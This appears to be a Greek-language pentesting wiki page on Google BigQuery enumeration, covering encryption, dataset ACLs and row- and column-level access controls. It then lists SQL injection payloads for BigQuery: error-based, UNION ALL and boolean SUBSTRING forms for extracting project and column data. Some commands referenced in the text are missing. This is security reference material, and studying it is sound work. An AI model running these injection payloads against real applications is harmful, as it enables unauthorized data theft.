GCP - Bigquery Enum
Βασικές Πληροφορίες
Το Google Cloud BigQuery είναι μια πλήρως διαχειριζόμενη, serverless επιχειρηματική αποθήκη δεδομένων, προσφέροντας δυνατότητες για ανάλυση πέταμπαϊτ δεδομένων, χειριζόμενος αποτελεσματικά μεγάλου μεγέθους σύνολα δεδομένων. Ως Υπηρεσία ως Υπηρεσία (PaaS), παρέχει στους χρήστες υποδομή και εργαλεία για τη διευκόλυνση της διαχείρισης δεδομένων χωρίς την ανάγκη χειροκίνητης επίβλεψης.
Υποστηρίζει το ερώτημα χρησιμοποιώντας ANSI SQL. Τα κύρια αντικείμενα είναι σύνολα δεδομένων που περιέχουν πίνακες που περιέχουν δεδομένα SQL.
Κρυπτογράφηση
Από προεπιλογή χρησιμοποιείται ένα κλειδί κρυπτογράφησης που διαχειρίζεται η Google, αν και είναι δυνατό να διαμορφωθεί ένα κλειδί κρυπτογράφησης που διαχειρίζεται ο πελάτης (CMEK). Είναι δυνατό να υποδείξετε το κλειδί κρυπτογράφησης ανά σύνολο δεδομένων και ανά πίνακα μέσα σε ένα σύνολο δεδομένων.
Λήξη
Είναι δυνατό να υποδείξετε ένα χρόνο λήξης στο σύνολο δεδομένων έτσι ώστε οποιοδήποτε νέος πίνακας που δημιουργείται σε αυτό το σύνολο δεδομένων θα διαγράφεται αυτόματα τον καθορισμένο αριθμό ημερών μετά τη δημιουργία.
Εξωτερικές Πηγές
Το Bigquery είναι βαθιά ενσωματωμένο με άλλες υπηρεσίες της Google. Είναι δυνατό να φορτώσετε δεδομένα από κάδους, pub/sub, google drive, βάσεις δεδομένων RDS...
ACLs Συνόλων Δεδομένων
Όταν δημιουργείται ένα σύνολο δεδομένων, προσαρτώνται ACLs για να δοθεί πρόσβαση σε αυτό. Από προεπιλογή δίνονται προνόμια Κάτοχου στον χρήστη που δημιούργησε το σύνολο δεδομένων και στη συνέχεια Κάτοχου στην ομάδα projectOwners (Κάτοχοι του έργου), Συγγραφέα στην ομάδα projectWriters, και Αναγνώστη στην ομάδα projectReaders:
Έλεγχος Πρόσβασης σε Γραμμές Πίνακα
Είναι δυνατόν να ελέγχετε τις γραμμές στις οποίες ένας κύριος θα έχει πρόσβαση μέσα σε έναν πίνακα με τις πολιτικές πρόσβασης σε γραμμές. Αυτές ορίζονται μέσα στον πίνακα χρησιμοποιώντας DDL. Η πολιτική πρόσβασης ορίζει ένα φίλτρο και μόνο οι γραμμές που ταιριάζουν με αυτό το φίλτρο θα είναι προσβάσιμες από τους καθορισμένους κύριους.
Έλεγχος Πρόσβασης Στήλες
Για να περιορίσετε την πρόσβαση στα δεδομένα στο επίπεδο στήλης:
Ορίστε μια ταξινομία και ετικέτες πολιτικής. Δημιουργήστε και διαχειριστείτε μια ταξινομία και ετικέτες πολιτικής για τα δεδομένα σας. https://console.cloud.google.com/bigquery/policy-tags
Προαιρετικά: Χορηγήστε τον ρόλο Data Catalog Fine-Grained Reader σε έναν ή περισσότερους αρχές σε μία ή περισσότερες από τις ετικέτες πολιτικής που δημιουργήσατε.
Αντιστοιχίστε ετικέτες πολιτικής στις στήλες του BigQuery. Στο BigQuery, χρησιμοποιήστε σχόλια σχήματος για να αντιστοιχίσετε μια ετικέτα πολιτικής σε κάθε στήλη όπου θέλετε να περιορίσετε την πρόσβαση.
Επιβάλλετε έλεγχο πρόσβασης στην ταξινομία. Η επιβολή του ελέγχου πρόσβασης έχει ως αποτέλεσμα οι περιορισμοί πρόσβασης που έχουν οριστεί για όλες τις ετικέτες πολιτικής στην ταξινομία να εφαρμοστούν.
Διαχειριστείτε την πρόσβαση στις ετικέτες πολιτικής. Χρησιμοποιήστε τις Πολιτικές Ταυτότητας και Πρόσβασης (IAM) για να περιορίσετε την πρόσβαση σε κάθε ετικέτα πολιτικής. Η πολιτική ισχύει για κάθε στήλη που ανήκει στην ετικέτα πολιτικής.
Όταν ένας χρήστης προσπαθεί να έχει πρόσβαση στα δεδομένα στήλης κατά την εκτέλεση ερωτήματος, το BigQuery ελέγχει την ετικέτα πολιτικής της στήλης και την πολιτική της για να δει εάν ο χρήστης έχει εξουσιοδοτηθεί να έχει πρόσβαση στα δεδομένα.
Ως περίληψη, για να περιορίσετε την πρόσβαση σε μερικές στήλες σε μερικούς χρήστες, μπορείτε να προσθέσετε μια ετικέτα στη στήλη στο σχήμα και να περιορίσετε την πρόσβαση των χρηστών στην ετικέτα επιβάλλοντας έλεγχο πρόσβασης στην ταξινομία της ετικέτας.
Για να επιβάλετε έλεγχο πρόσβασης στην ταξινομία, απαιτείται η ενεργοποίηση της υπηρεσίας:
Είναι δυνατόν να δείτε τις ετικέτες των στηλών με:
Απαρίθμηση
Ενσωμάτωση SQL στο BigQuery
Για περισσότερες πληροφορίες μπορείτε να ελέγξετε την ανάρτηση στο blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Εδώ θα δοθούν μερικές λεπτομέρειες.
Σχόλια:
select 1#from here it is not working
select 1/*between those it is not working*/
Αλλά μόνο το αρχικό δεν θα λειτουργήσειselect 1--from here it is not working
Αποκτήστε πληροφορίες σχετικά με το περιβάλλον όπως:
Τρέχων χρήστης:
select session_user()
Αναγνωριστικό έργου:
select @@project_id
Συγχώνευση σειρών:
Όνοματα όλων των πινάκων:
string_agg(table_name, ', ')
Λάβετε σύνολα δεδομένων, πίνακες και ονόματα στηλών:
Όνομα έργου και συνόλου δεδομένων:
Ονόματα στηλών και πινάκων όλων των πινάκων του dataset:
Άλλα datasets στον ίδιο έργο:
Τύποι SQL Injection:
Βασισμένο σε σφάλματα - μετατροπή τύπου:
select CAST(@@project_id AS INT64)
Βασισμένο σε σφάλματα - διαίρεση με μηδέν:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Βασισμένο σε ένωση (χρειάζεται να χρησιμοποιήσετε το ALL στο bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Βασισμένο σε λογική:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Ενδεχόμενο βασισμένο σε χρόνο - Χρήση δημόσιων συνόλων δεδομένων παραδείγματος:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Τεκμηρίωση:
Λίστα όλων των συναρτήσεων: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Δηλώσεις σεναρίου: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Ανόδος Προνομίων & Μετά-Εκμετάλλευση
GCP - BigQuery PrivescΔιατήρηση
GCP - BigQuery PersistenceΑναφορές
Last updated